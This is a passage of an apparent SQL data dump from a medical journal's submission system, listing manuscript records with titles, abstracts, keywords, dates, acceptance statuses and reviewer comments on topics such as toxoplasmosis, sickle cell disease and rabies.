IgM, with negative IgA and one with negative IgG and IgM symptoms. The clinical findings were hepatosplenomegaly and jaundice; eye disorders; ventriculomegaly and intraparenchymal calcifications in the brain and dilation of the left heart chamber. 62.5% of neonates with a clinical and/or serological diagnosis were treated with pyrimethamine / sulfadiazine plus folinic acid or pyrimethamine / sulfadoxine. Conclusions: The diagnosis of gestational and congenital toxoplasmosis was made mainly by serology. Most of the pregnant women received treatment, however, there is still inefficiency in it. More than 60% of neonates with congenital toxoplasmosis received treatment at discharge, even so, there should be no limitations to access it...\r\n\r\n','Keywords: Gestational toxoplasmosis, congenital toxoplasmosis, Toxoplasma gondii, Ocular toxoplasmosis, Colombia.\r\n',295,NULL,'2022-03-16',NULL,'Submitted',2,NULL,'2022-05-10',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12670,12931,45,0,'iphsj-22-12670','Ecologic approach to Sickle Cell Disease and environment quality assessment in Guadeloupe',NULL,14,0,'','Sickle Cell Disease (SCD) has many psychosocial impacts and affects social participation of young people. In Guadeloupe (French West Indies), where this blood disease is a major concern, young patients face a doubly constraining environment, on both social and physical aspects. Based on the Disability Creation Process (DCP, Fougeyrollas, 2010), an ecologic model of disability and health, this controlled study aimed to assess the perceived influence of social and physical factors using the Measure of the Quality of the Environment adapted to the socio-cultural context. \r\nThe study involves 81 young patients (Mage = 11.22±3.22, 49 female, 53 male) with severe Sickle Cell Disease (Major Syndrome or Sβ0-thalassemia) and 45 healthy children and adolescents (Mage = 10.55±2.93 years; 22 female, 23 male). \r\nResults show that environmental factors are more negatively perceived among SCD participants, physical factors constituting strong barriers, and social determinants being weaker facilitators. In the micro and meso-environment, SCD patients face more difficulty; finally, more inclusive spaces are needed in school settings, sports and leisure activities, as well as in the cultural offer.\r\n','Sickle Cell Disease, social participation, Environment, youth, Caribbean studies ',691,NULL,'2022-03-17',NULL,'Submitted',2,NULL,'2022-04-12',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12671,12932,85,0,'iphspr-22-12671','An Analysis of Uninsurance Rates Among Healthcare Personnel and Associated Losses From COVID-19',NULL,5,0,'','Though national uninsurance trends are fairly well studied, rates of uninsurance within healthcare personnel (HCP) receive much less attention The main objective of our study is to evaluate trends in uninsurance among HCP and investigate the resulting healthcare costs associated with this population as a result of COVID-19. Data on COVID-19 patients and health insurance coverage was taken from the Census Bureau’s American Community Survey’s PUMS Database and the CDC’s COVID-19 Restricted Access Surveillance Data. We conducted a trend analysis to forecast future uninsurance figures for both HCPs and the general population and developed binomial classification models to predict the probability of ICU admission, mechanical ventilation use, and hospital admission among HCPs and the general population. We were able to predict HCP mechanical ventilator use with an accuracy of approximately 92% and HCP ICU admission with an accuracy of approximately 92%. The hospital admission was predicted with an accuracy of approximately 67%. Our forecasting predicted 1,519,533 uninsured HCP in the year 2020, and 21,536,576 total HCP in the year 2020. This resulted in an uninsurance rate of approximately 7.1% among all HCP in 2020. Approximately 74 million dollars in losses were incurred from treatment of\r\nHCP. The amount of uninsured healthcare personnel will continue to increase. Based on our analysis of the amount of losses resulting from uninsured HCP infected with COVID-19, another similar-scale crisis assuming the same growth rate of the uninsured population will result in larger losses than COVID-19.','',2922,NULL,'2022-03-19',NULL,'Submitted',14,NULL,'2022-08-03',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12672,12933,73,0,'ipjnn-22-12672','Age differences in Neural Activation to Face Trustworthiness',NULL,17,1,'Clinical Neurology and Translational Neuroscience','This study compared two analytic methods for assessing neural activation to variations in face trustworthiness in younger adults (YA) and older adults (OA).  One method was the assessment of differences in peak activation levels to faces that varied in trustworthiness; the second was multi-voxel pattern analysis. The results revealed that age differences varied across methods.  These results have methodological implications that should be considered in a wide array of neuroimaging studies.  They also have more specific implications for understanding age-related changes in the neural substrate for detecting face trustworthiness.','Neurology, Brain neurology,Neuro science',326,NULL,'2022-03-21',NULL,'Submitted',4,NULL,'2022-09-20',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12673,12934,277,0,'ipadm-22-12673','CHARACTERIZATION OF PATIENTS WITH JUVENILE MYASTHENIA GRAVIS FROM A REFERENCE UNIVERSITY HOSPITAL IN COLOMBIA.',NULL,14,0,'','La miastenia gravis (MG) es una enfermedad autoinmune que afecta la unión neuromuscular y ha sido considerada la más común de este tipo, puede causar una significativa discapacidad y mortalidad si no se trata (1,2). Se puede presentar a cualquier edad. En menores de 18 años se MGJ, que a su vez, se divide en MG neonatal, prepuberal y pospuberal (2).\r\nEl tipo de presentación más frecuente es el ocular. No obstante, puede progresar a la forma generalizada (3), y acompañarse de otros trastornos autoinmunes (2). Su diagnóstico es principalmente clínico. Aunque, puede ser apoyado por estudios electrofisiológicos y la presencia de anticuerpos; principalmente los dirigidos contra los receptores de acetilcolina (AntiAChR), contra los receptores de quinasa específica muscular (AntiMuSK), y la proteína 4 relacionada con el receptor de lipoproteínas de baja densidad (AntiLRP4) (4). A pesar de esto, se requiere un fuerte índice de sospecha para diagnosticarla oportunamente (5).\r\nPara su tratamiento, los medicamentos más utilizados han sido, la piridostigmina y los esteroides (2,6), Igualmente, la  inmunoglobulina intravenosa (IGIV) y la plasmaféris, en caso de crisis (7,8). La timectomía también es una opción terapéutica en pacientes seleccionados (9).\r\nLa MGJ, representa el 11% - 24% de todos los pacientes con MG (10), con una incidencia de 1,6/millón por año (2). Al respecto, se han publicado diferentes estudios, especialmente en Asia y Europa. En países de Latinoamérica, como Cuba, Brasil y Chile, se ha logrado reportar, en parte, el comportamiento de dicha enfermedad en sus poblaciones (11–13). \r\nEn Colombia, en 2002 se publicó un estudio sobre la MG en adultos (14). Sin embargo, a la fecha no hay publicaciones sobre MGJ.  Se desconoce si existe un predominio por el sexo femenino, edad, principal forma de presentación y sus síntomas iniciales; tampoco sobre el uso de las diferentes herramientas diagnósticas, ni las tendencias de tratamiento. Es por ello, que este estudio pretende describir por primera vez en Colombia las características sociodemográficas, clínicas, paraclínicas y su manejo, en niños diagnosticados con MGJ en un hospital universitario de referencia. \r\n','Acetylcholine, immunosuppressants, autoimmune disease, neuromuscular disease, myasthenia gravis, thymectomy.',5023,NULL,'2022-03-21',NULL,'Submitted',4,NULL,'2022-04-20',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12674,12935,277,0,'ipadm-22-12674','TOXINA BOTULÍNICA COMO MANEJO PARA LAS CICATRICES POSTERIORES A CIRUGÍA DE HERNIA DISCAL CERVICAL',NULL,14,0,'','Currently within the operating rooms of our hospitals there are a number of patients requiring intervention for cervical disc pathologies, which at the time of performing the suturing process, a horizontal scar is acquired at the neck level; An injury that after not being successful an adequate resolution, both in the functional recovery of the entire cervical area as well as the disappearance of the pain suffered prior to intervention, results in serious consequences that surely affect not only the image of the patient but also the suffers, but also their psycho-emotional development and their social development. Studies have recently been published that support the use of botulinum toxin injection in the muscular area adjacent to the wounds, causing the immobilization of the wound and, with it, a significant improvement in the appearance of the final scar.','botulinum toxin, scarring, herniated disc, cervical wound, keloid',4947,NULL,'2022-03-21',NULL,'Submitted',2,NULL,'2022-05-25',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(12675,12936,277,0,'ipadm-22-12675','VÍA AÉREA EN PACIENTES PEDIÁTRICOS: NOVEDADES EN SU ABORDAJE AIRWAY IN PEDIATRIC PATIENTS: NOVELTIES IN ITS APPROACH',NULL,17,0,'','Since its inception, the airway approach in pediatric patients represents great complexity, which is why over the years this procedure has been improved, as well as the instruments, the use of muscle relaxants, and technical skills.','Airway, Pediatric Patient, Current approach',5348,NULL,'2022-03-21',NULL,'Submitted',2,NULL,'2022-05-25',NULL,1,1,'0','The author clearly explained the techniques of this procedure and continuous improvements used in the instruments.\r\n\r\nThe paper has explained in detailed on the airway approach in pediatric patients represents great complexity.\r\n\r\nAnatomy and physiology of the airway are of great importance at the time of the initial care of the patient with oxygen decompensation, the airway of children is very delicate, therefore, these are cases that have to be treated.\r\n\r\nIt is an Error free article can be published.\r\n',0,'','',NULL,0,0,0,NULL,0),(12676,12939,277,0,'ipadm-22-12676','ELASTOGRAFIA COMO MÉTODO PARA LA DETECCIÓN DE CÁNCER DE MAMA',NULL,15,0,'','Breast cancer is a disease characterized by the increase and lack of control in the growth of mammary epithelial cells. In recent years, research has been carried out on new technologies with the aim of being more precise and less radical in the methods used for the diagnosis of breast cancer, where a new use of ultrasound-based on the properties of elastic tissues emerged, a technology that uses the name of elastography, which greatly improves the accuracy of diagnosis, the development and application of elastography in the breast, it has made it possible to characterize the elasticity of lesions detected by B-mode (fundamentally nodules) and in certain cases to raise or lower the degree of suspicion of lesions initially assessed by B-mode and color Doppler, for breast cancer, has been shown that elastic ultrasound provides information on prognosis and response to neoadjuvant therapy, considering that cancer breast is a heterogeneous disease. Prognostic factors are represented by histological type, tumor size, histological grade, axillary lymph node metastasis and lymphatic vascular invasion, considering the above, when using this technique for early diagnosis, assess prognosis and grade of malignancy of the patients, thus achieving timely treatment which will allow a decrease in the morbidity and mortality of these patients.','Elastography, breast cancer detection, breast cancer.',5349,NULL,'2022-03-22',NULL,'Submitted',4,NULL,'2022-10-11',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12680,12943,45,0,'iphsj-22-12680','Epidural anesthesia for abdominal laparotomy in an obese patient with severe cardiac disease and epilepsy. A rare Case Report',NULL,2,2,'Rare clinical case','The current practice of regional anesthesia is soundly established for major surgical procedures associated with increased risk of perioperative morbidity and mortality. Particularly, the introduction of epidural anesthesia and analgesia gain a more pronounced acceptance for major surgical procedures including abdominal procedures. Interestingly, low thoracic epidural anesthesia and analgesia is a taken as a golden anesthesia technique in debilitated patients at risk of perioperative cardiopulmonary compromise. Consequently, there exist tremendous advantages of effective epidural anesthesia and analgesia for open abdominal surgery. This facilitate the patient comfort, early ambulation, shorter recovery times, hospital stay, and decreased incidence of cardiopulmonary complications, especially in at risk patient or with underlying cardiopulmonary compromise.','Abdominal surgery, Anesthesia, Anesthetic management, Laparotomy, Epidural anesthesia, Epilepsy, Obesity, Regional anesthesia',5352,NULL,'2022-03-22',NULL,'Submitted',19,NULL,'2022-05-04',NULL,1,1,'1','Accepted',0,'','',NULL,0,4,0,NULL,0),(12681,12944,86,0,'ipaom-22-12681','Maternal and Fetal Factors Associated with Misoprostol Use in Mubende Regional Referral Hospital',NULL,14,0,'','According to many other scholars, Misoprostol can be used for a number of obstetric indications that address maternal health concerns. It acts as a uterotonic by stimulating strong contractions of the uterus and also softens and dilates the cervix, similar to the natural process of labor. Its uses related to maternal health are many and include the prevention and treatment of postpartum hemorrhage, labor induction, treatment of incomplete abortion and miscarriage, induced abortion, treatment of missed abortion, treatment of intrauterine fetal death, and cervical ripening before delivery or uterine instrumentation. \r\nThe purpose of this study was to determinine the maternal and fetal factors associated with misoprostol use among mothers who delivered from Mubende regional referral hospital\r\n \r\nThe study used analytical cross-sectional design involving mixed method approach (both qualitative and quantitative). The study population comprised of mothers and their babies delivered from the health facility. Healthcare providers were also studied.  A sample of 385 Respondents was recruited. Document Review Guide, Observation guide, and Interview Guide (for the primary data) tools were used to collect data. \r\nIt was found that the history of misoprostol use was at 12.4% among mothers during delivery. Although there was no statistical significance (p=0.093), mothers of urban residence were about 2times more likely to have had a positive history of misoprostol use during delivery [COR=1.843, 95% CI (0.903-3.763)] compared to those of rural residence. Misoprostol was predominantly used on mothers whose parity was one (6.3%) as opposed to those whose parity were more than one. The study found that mothers whose parity lie between 2-4 were 0.5times less likely to have had misoprostol used during delivery [COR=0.514, 95% CI (0.166-1.595)]. Similarly, mothers whose parity were 5 and above were o.6times less likely to have had misoprostol used during delivery [COR=0.645, 95% CI (0.205-2.022)]. Misoprostol was majorly used on mothers with no co-morbidity (12.1%). The study found that having no co-morbidity was 4times more likely to predispose mothers to misoprostol use in Mubende regional referral hospital [COR=3.965, 95% CI (0.301-52.231)]. Again, mothers who didn’t die had more misoprostol use (11.3%) than their counterpart who had maternal death. Most of the mothers who had maternal death (6.1%) didn’t have history of misoprostol use. Babies with better APGAR scores of 4-7 and 8-10 were 4times and 2times more likely to have had positive history of misoprostol use during their deliveries [COR=3.932, 95% CI (0.543-28.448)] and [COR=2.043, 95% CI (0.694-6.014)] respectively.\r\nConclusively, misoprostol use presents both maternal and fetal risks, thus, strict observance by healthcare providers who use this medicine is required. \r\n','Misoprostol, Misoprostol use, Parity, Mubende, Uganda',5013,NULL,'2022-03-23',NULL,'Submitted',4,NULL,'2022-08-24',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12683,12945,73,0,'ipjnn-22-12683','New mechanism of DNMT3L revealed in a Down syndrome study.',NULL,17,2,'Clinical Neurology and Translational Neuroscience','Down syndrome (DS) is the most common genetic disorder affecting various organs and systems due to developmental defects. In nervous system, it manifests as intellectual delay in early age and early onset of Alzheimer disease (1). Although the general cause is known as the trisomy of chromosome 21, it is not clear the overdoses of which genes are responsible for the neurological phenotypes. Furthermore, the involvement of epigenetic regulation during individual growth makes it even complicated (2). These issues could potentially be addressed by a better mechanistic understanding of the effects of genes on chromosome 21, and DS is an ideal human model for understanding genetic-epigenetic interactions. Recently, we reported a novel molecular mechanism of DNMT3L, a gene located on chromosome 21 and involved in DNA methylation (3).','Chromosome 21, Alzheimer\\\'s disease, Genetic disorder,Down syndrome',332,NULL,'2022-03-24',NULL,'Submitted',19,NULL,'2022-03-28',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,4,0,NULL,0),(12684,12946,73,0,'ipjnn-22-12684','Impact of a clinical pharmacist in a neurology clinic treating patients with myasthenia gravis and multiple sclerosis',NULL,14,1,'Clinical Neurology and Translational Neuroscience','Myasthenia gravis (MG) and multiple sclerosis (MS) are treated with complex multiple sclerosis. Pharmacists play a vital role by optimizing care, providing medication counseling, and assisting with medication access. Currently, there are no published studies assessing the impact of a clinical pharmacist on MG management and limited studies evaluating impact in MS. The objective of this study is to evaluate the impact of a clinical pharmacist in interdisciplinary MG and MS clinics by identifying pharmacist-led direct and indirect services.','Myasthenia gravis, Multiple sclerosis, Clinical Neurology,Translational Neuroscience',327,NULL,'2022-03-24',NULL,'Submitted',4,NULL,'2022-09-20',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12685,12947,45,0,NULL,'HUMANIZATION OF INTENSIVE CARE: THE OTHER SIDE OF MEDICINE',NULL,15,0,'','Background: The intensive care unit or also known as critical care unit is a specific place\r\nwhere multidisciplinary care is provided to maintain the vital functions of patients at risk.\r\nMethodology: A bibliographic review was carried out through various databases from 2017\r\nto 2022; The search and selection of articles was carried out in indexed journals in English\r\nand Spanish. The following keywords were used: humanization, ICU, medicine, care.\r\nResults: the implementation of good strategies has made the intensive care unit a place\r\nwith a comprehensive and pleasant environment for both the patient and her relatives,\r\nwhich greatly helps her physical recovery.\r\nConclusion: humanized care from health professionals makes a big difference in all possible\r\nadherence to pharmacological treatment, better emotional and mental state.\r\n','Keywords: Humanization; ICU; Medicine; Care.',643,NULL,'2022-03-24',NULL,'Submitted',4,NULL,'2022-04-07',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12686,9267,45,0,NULL,'METOCLOPRAMIDE POISONING',NULL,15,0,'','Antiemetic drugs have been used frequently in various areas of modern medicine,\r\nhowever, there is a tendency to underestimate their adverse effects at the neurological\r\nlevel or in some cases they are unknown by the doctors who prescribe this medication.\r\n\r\nExtrapyramidalism syndrome due to metoclopramide is a clinical picture that occurs in\r\npatients who use this medication as a base therapy for vomiting, nausea or\r\ngastrointestinal discomfort, although in some cases there may be abuse of this drug due\r\nto poor dosage or due to misuse for suicidal purposes, it is estimated that it occurs in 1\r\nin 500 patients, being a fairly significant adverse effect at present, which has led to\r\nconditioning its use in different population groups such as the elderly and pediatric\r\npatients.','Keywords: Extrapyramidalism, intoxication, metoclopramide, vomiting',4048,NULL,'2022-03-24',NULL,'Submitted',4,NULL,'2022-04-07',NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12688,12950,73,0,'ipjnn-22-12688','Does the Unified Parkinson\'s Disease Rating Scale adequately estimate severity of dysarthria? ',NULL,17,0,'','Background:  Speech decline is a common and detrimental complication of Parkinson’s disease (PD). The Unified Parkinson’s Disease Rating Scale (UPDRS) is typically used by the medical community to gauge the presence and severity of PD symptoms, including dysarthria. Accurately tracking the presence and severity of dysarthria has important implications for differential diagnosis, disease course, and therapeutic response.  \r\n\r\nObjectives: To determine the relationship between Movement Disorder Society (MDS) UPDRS ratings and gold standard speech intelligibility transcription scores.  \r\n\r\nMethods: Twenty-seven speakers with PD provided monologue speech samples. MDS-UPDRS ratings of speech were compared to average speech intelligibility scores attained by three naïve judges. \r\n\r\nResults: MDS-UPDRS ratings and speech intelligibility calculations were significantly correlated. \r\n\r\nConclusions:  The significant relationship between these two severity indicators provides preliminary evidence of criterion validity and suggests that the single MDS-UPDRS question is reflective of overall speech severity as determined by the gold standard of mean intelligibility transcription scores.\r\n','Parkinson, dysarthria, speech, intelligibility, UPDRS',339,NULL,'2022-03-25',NULL,'Submitted',2,NULL,'2022-04-25',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12691,12954,73,0,'ipjnn-22-12691','Disciplinary screening of Electroencephalography (EEG) Referrals by neurologist ameliorates healthcare use economy',NULL,14,0,'','Abstract\r\nBackground: Electroencephalogram (EEG) serves a vital role in screening and diagnosing epileptic patients because it is a noninvasive tool to reveal the aberrant cortical excitability underlying epilepsy. To compare EEG results in adult neurophysiology units, Neurology department, Fayoum university hospitals according to the specialty of referring physicians. This retrospective survey included 1413 consecutive EEG referrals to exclude epilepsy. Epileptic patients admitted for EEG repetition for follow-up concerns were eliminated. Patients were classified into Four groups of EEG referrals. Group I was referred directly by neurologists, group II  by psychiatrists, group III by neurosurgeons, and group IV was referred by physicians of other specialties.\r\nResults: Among group I, 493 EEG referrals (252 abnormal, 51.1%). Group II, 134 EEG referrals (41 abnormal, 30.6%). Group III, 68 EEG referrals (23abnormal, 33.8%). Lastly,  718 EEG referrals were among group IV (181 abnormal, 25.2%). The p-value (0.0001) indicated a significant difference among study groups. A higher percentage of abnormal EEG results was noticed among neurologist referrals relative to other groups.\r\nConclusion: Review of EEG referrals by neurologist leading to a decrease in the number of normal EEG results and better stream of diagnosis and management. Incorporating data from referral reports with detailed history taking and provisional diagnosis is recommended to decrease the number of improper EEG referrals for non-epileptic patients by better using healthcare resources.\r\n','Keywords:  Epilepsy; Electroencephalography; Referral',5353,NULL,'2022-03-27',NULL,'Submitted',2,NULL,'2022-05-07',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12692,12945,73,0,'ipjnn-22-12692','New mechanism of DNMT3L revealed in a Down syndrome study',NULL,17,0,'','','Down syndrome',326,NULL,'2022-03-28',NULL,'Submitted',2,NULL,'2022-05-03',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12693,12955,73,0,'ipjnn-22-12693','Atrial fibrillation in ischemic stroke and TIA',NULL,9,0,'','Atrial fibrillation leads to a significant increase in the risk of ischemic stroke or transient ischemic attack. It is one of the most common cardiac arrhythmias. From the age of 50, the risk of atrial fibrillation increases continuously, at the age of 80 the risk is estimated at 25%.  Without therapy with blood-thinning drugs, the risk of cerebral infarction is increased. In particular, this article discusses the relationship between ischemic stroke and atrial fibrillation.','',338,NULL,'2022-03-28',NULL,'Submitted',2,NULL,'2022-06-14',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12694,12956,86,0,'ipaom-22-12694','Incidence of co-infections and secondary infections with Multidrug-resistant bacteria in Covid-19 infected individuals –A mini Review',NULL,25,0,'','Introduction:\r\nSevere acute respiratory syndrome coronavirus 2 (SARS CoV-2) was first identified in Wuhan, China, and human-to-human transmission of the infection has led to the spread of the virus to other areas of Hubei Province, China. COVID 19 pandemic-associated crises have adversely affected health, economies, and even national securities worldwide. During the ongoing pandemic, besides the SARS-CoV-2 infection itself, increased cases of MDR inflicted collateral damage to the healthcare system.\r\nMethods & Materials\r\nThis mini review was conducted from January 2021 to January 2022. Data were collected using PubMed, Scopus, and Google search engines. The keywords used for the search included: “COVID-19 and antibiotic resistance’’, “co-infections in COVID-19, “MDR bacteria in COVID-19 patients in India, Coronavirus Disease,” “Antimicrobial Resistance,” “Antibiotic Resistance in COVID-19 patients” and “Mechanism of co-infections”.\r\nReview \r\nThe proportion of the bacterial co-infections and secondary bacterial infections in COVID 19 individuals: Bacterial co-infections and secondary infections are the most common viral diseases leading to significant morbidity and mortality.\r\nCo-infections/ secondary infections: The reason for bacterial co-infection is the adaptation of many hospital‐associated bacteria to develop an infection in individuals with a weakened immune system.\r\nPrevalence of Multidrug-resistant bacteria in COVD 19 individuals: Bacterial co-infection and secondary infections are common in respiratory viral infections: however, the isolation of MDR strains from these patients is a concern. Studies across the world show that the prevalence of MDR strains in co-infection and secondary bacterial infection has increased during this pandemic\r\nConclusion \r\nAntibiotic resistance is a silent pandemic, and all resistant strains have appeared worldwide. The consumption of antibiotics is high during the COVID-19 pandemic where only 25-30% is required, which leads to increased antimicrobial resistance. However, the proportion of co-infection and secondary infections was less in COVID-19 patients, the proportion of MDR organisms was very high ranging from 50 to 85%.\r\n','co-infections and secondary infections, multidrug-resistant bacteria, COVID-19 disease',3386,NULL,'2022-03-29',NULL,'Submitted',4,NULL,'2022-08-19',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(12695,12957,45,0,'iphsj-22-12695','Status of perceived stress and associated factors among pregnant women during coronavirus pandemic in Antenatal Care at Gondar town, Northwest, Ethiopia: A cross-sectional study',NULL,14,0,'','Background: Stress during pregnancy has serious adverse effects on both the mother and newborn.  Pregnancy is an emotional, physical, and stressful event in a woman’s life that needs a huge psychological adjustment. However, this problem doesn’t get adequate attention during antenatal care in Ethiopia.  Thus, this study is aimed to assess the status of perceived stress and associated factors among pregnant women during antenatal care at Gondar town governmental health institutions, northeast, Ethiopia. \r\nMethods: A cross-sectional study was employed among 425 pregnant mothers from October 25 to December 30, 2020. A systematic random sampling was used to select participants. The status of perceived stress of participants is assessed by 11 perceived stress scales (PSS 11). Data were collected using a structured pretested questionnaire. Data were entered into Epi-Data version 4.6 and exported to SPSS version 20 software for further analysis. Bivariate and multivariable logistic regressions were used to identify factors associated with the status of perceived stress during pregnancy. \r\nFindings: The prevalence of perceived stress during pregnancy was 27.1% (95% CI; 68.6- 77.2)). Antenatal care follow-up <16 weeks of 42 gestation (AOR: 4.35, 95% CI; (2.66-7.12)), not having family emotional support (AOR: 2.38, 95% CI; (1.38-4.10)), recent family death participants’ family members (AOR: 2.06, 95% CI; (1.17-3.60)) and fear of exposure to coronavirus (AOR: 1.93, 95% CI; (1.22-3.32)) were factors that increased perceived stress during the pregnancy.\r\n Conclusions: The prevalence of perceived stress during pregnancy was high in the study area. Therefore, it is crucial for the ministry of health to incorporate screening the status of pregnancy perceived stress into basic antenatal care in assessment tools. Assessing the level of perceived stress and provision of emotional support for pregnant women is very crucial.  Pregnant women who had a positive screening test were link to a psychiatrist for re-evaluation and management\r\n','Antenatal care, Ethiopia, Gondar city, Perceived Stress',4076,NULL,'2022-03-29',NULL,'Submitted',2,NULL,'2022-07-22',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12697,12960,45,0,'iphsj-22-12697','Prevention and Control of Rabies in Animals and Humans in Ethiopia ',NULL,14,0,'','Rabies, a viral disease caused bylyssa virus of family Rhabdoviridae. It is a fatal zoonotic disease with worldwide occurrence and endemic in developing countries of Africa and Asia. The disease generally affects all warm-blooded animals, even though it is primarily a disease of dogs in Ethiopia and elsewhere in Africa. More than 95% of human rabies cases are due to bites by infected animals, predominantly from saliva of domestic dogs. Once clinical symptoms appear, it is almost 100% fatal, in which the disease is one of the major public-health burdens in Ethiopia. The country has the second most rabies related deaths in Africa. Although it is entirely preventable, nearly 3000 lives are lost every year in Ethiopia, with high economic burden and Daily Adjusted Life-Years (DALYs). Mass dog vaccination along with prompt administration of post-exposure prophylaxis (PEP) to bite victims, public awareness and ‘One-Health’ approach are successful elements for rabies prevention and control programmes.Low effort of animal rabies control by government and stake holders, lack of finance, limited rabies diagnostic capacity, neglect and lack of coordination and among others are the challenges holding back not to control a century long deadly disease in resource limited African countries like Ethiopia. Thus this paper provides a briefoverviewof the varied measures for Rabies prevention and control in animals and humans in Ethiopia.\r\n\r\n','Control, Ethiopia, One-Health, Prevention, Rabies and Vaccination. ',458,NULL,'2022-03-30',NULL,'Submitted',2,NULL,'2022-08-18',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12698,12961,73,0,'ipjnn-22-12698','Development Of Bioresorbable Braided Self Expanding Implantable Neurovascular Flow Diverter For Intracranial Aneurysm',NULL,14,0,'','An intracranial aneurysm can be treated with an implantable self-expanding ultrathin bioresorbable neurovascular device. Inside the intracranial aneurysm, the braided self-expanding bioresorbable neurovascular implanted device obstructs the blood flow to enter inside an aneurysm. The biocompatible and totally bioresorbable ultrathin braided mesh structure with a specified braiding arrangement and reduced pore size that redirects blood flow to limit blood flow inside aneurysm sac. A braided neurovascular implant with an elastomeric compound coating provides sufficient radial strength, axial flexibility, and excellent self-expanding capabilities. The self-expandable bioresorbable braided scaffold retains structural integrity for about a year before resorbing over a two- to three-year timeframe.','Self expanding Bioresorbable, neurovascular and Aneurysm',4796,NULL,'2022-03-30',NULL,'Submitted',2,NULL,'2022-05-09',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12699,7494,45,0,'iphsj-22-12699','Bioequivalence study of a new fixed-dose combination tablet containing irbesartan and hydrochlorothiazide in healthy volunteers',NULL,14,0,'','Abstract\r\nBackground and objective: The combination antihypertensive therapy has shown greater blood pressure lowering potential as well as better adherence to the treatment. Therefore, a new generic fixed-dose combination containing irbesartan and hydrochlorothiazide was developed and rate and extend of absorption were compared with reference formulation to prove its bioequivalence in healthy volunteers.\r\nMethods: A single-center, open-label, randomized, two-period, crossover, single dose study under fasting conditions, including at least 7-days washout period, was performed in 30 healthy male and female volunteers. Twenty blood samples were collected in each study period: prior to dosing (0:00) and up to 72:00 hours after dosing and plasma concentrations of irbesartan and hydrochlorothiazide were analyzed using preliminary validated methods. \r\nResults: The 90% CIs for the geometric mean ratios of test and reference of Cmax and AUC0–t were 89.22% to 98.80% and 100.58% to 115.11%, respectively, for irbesartan and 91.80% to 122.96% and 94.88% to 117.56%, respectively. Thus, the corresponding ratios of Cmax and AUC0-t for irbesartan and hydrochlorothiazide met the predetermined criteria for bioequivalence (90% confidence intervals of the geometric mean ratios of test and reference within the 80.00% - 125.00%). Both the test and reference products demonstrated good tolerability profile in this population, and no serious AEs were observed.\r\nConclusions: Therefore, the test product (Irbesartan/hydrochlorothiazide 300/25 mg film-coated tablets, manufactured by Tchaikapharma High Quality Medicines Inc., Bulgaria) and the reference product (CoAprovel 300/25 mg film-coated tablets, manufactured by Sanofi Clir SNC, France) are considered bioequivalent.','bioequivalence, irbesartan, hydrochlorothiazide, healthy subjects',5360,NULL,'2022-03-30',NULL,'Submitted',2,NULL,'2022-04-13',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12703,12967,45,0,'iphsj-22-12703','Differential Inhibitory Effects of Cytotoxic Agents on Lymphoma Cell Proliferation and Tumor Growth.',NULL,14,0,'','In the last few decades, many biomolecules obtained from nature exhibit great potential in antitumor application, some of them have made great contributions to clinical treatment. Ansamitocin P3 and paclitaxel are tubulin inhibitors while camptothecin is a Topo ? inhibitor. These molecules are known to induce apoptosis of cancer cells and either have been used or show great potential in application of tumor targeted therapy. In this study, we investigated the roles and mechanisms of ansamitocin P3, paclitaxel and camptothecin in inducing apoptosis of human histiocytic lymphoma U937 cells. CCK8 assay was performed on U937 cells and the results showed that ansamitocin P3 exhibits great antiproliferative activities with a half-maximal inhibitory concentration (IC50) at 0.18 ± 0.04 nM, while the IC50 of camptothecin and paclitaxel was 25.09 ± 2.64 and 6.06 ± 1.24 nM respectively. Results of apoptosis analysis by flow cytometry indicated that both early and late apoptotic cells increased significantly after treated with above three biomolecules. Cell cycle analysis results suggested that ansamitocin P3 and paclitaxel arrested cells in the G2/M Phase, while camptothecin arrested cells in G2/M phase at low concentration but S phase at high concentration. Mechanistically, we have performed expression analysis using qRT-PCR and found that ansamitocin P3 and paclitaxel may induce apoptosis of cells by downregulating expression of PCNA and BCL-2, while cells treated with camptothecin showed upregulated P21 but downregulated BCL-2 expression. Moreover, to investigate the in vivo anti-tumor activity of ansamitocin P3, we have shown data in a xenograft tumor model that ansamitocin P3 greatly inhibited tumor growth with little side effect. Taken together, our results suggest the strongest antitumor activity of ansamitocin P3 on lymphoma U937 cells. Ansamitocin P3 have great potential in tumor targeted therapy.','Lymphoma cells, ansamitocin P3, paclitaxel, camptothecin, apoptosis, tumor growth.',643,NULL,'2022-04-04',NULL,'Submitted',14,NULL,'2023-03-01',NULL,1,1,'1','great',0,NULL,NULL,NULL,0,0,0,NULL,0),(12706,12969,971,0,'ipaclr-22-12706','Coronavirus doesn\'t affect HLA immune response profile in a progression of waitlisted renal transfer up-and-comers',NULL,17,0,'','HLA antibodies are regularly delivered after openness to relocated tissue, pregnancy, and blood items. Sharpening postpones admittance to transplantation and block usage of giver organs. Diseases and inoculations have likewise been accounted for to bring about HLA immune response development. It isn\'t known whether patients foster HLA antibodies after contamination with SARS-CoV-2. Here we dissected a progression of eighteen patients sitting tight for kidney transplantation who had suggestive COVID-19 illness and recuperated. None of the patients in this underlying series created once more HLA antibodies. Eminently, there was no expansion in prior HLA antibodies in four profoundly sharpened patients with a CPRA > 80%. These primer information recommend that there may not be a need to rehash 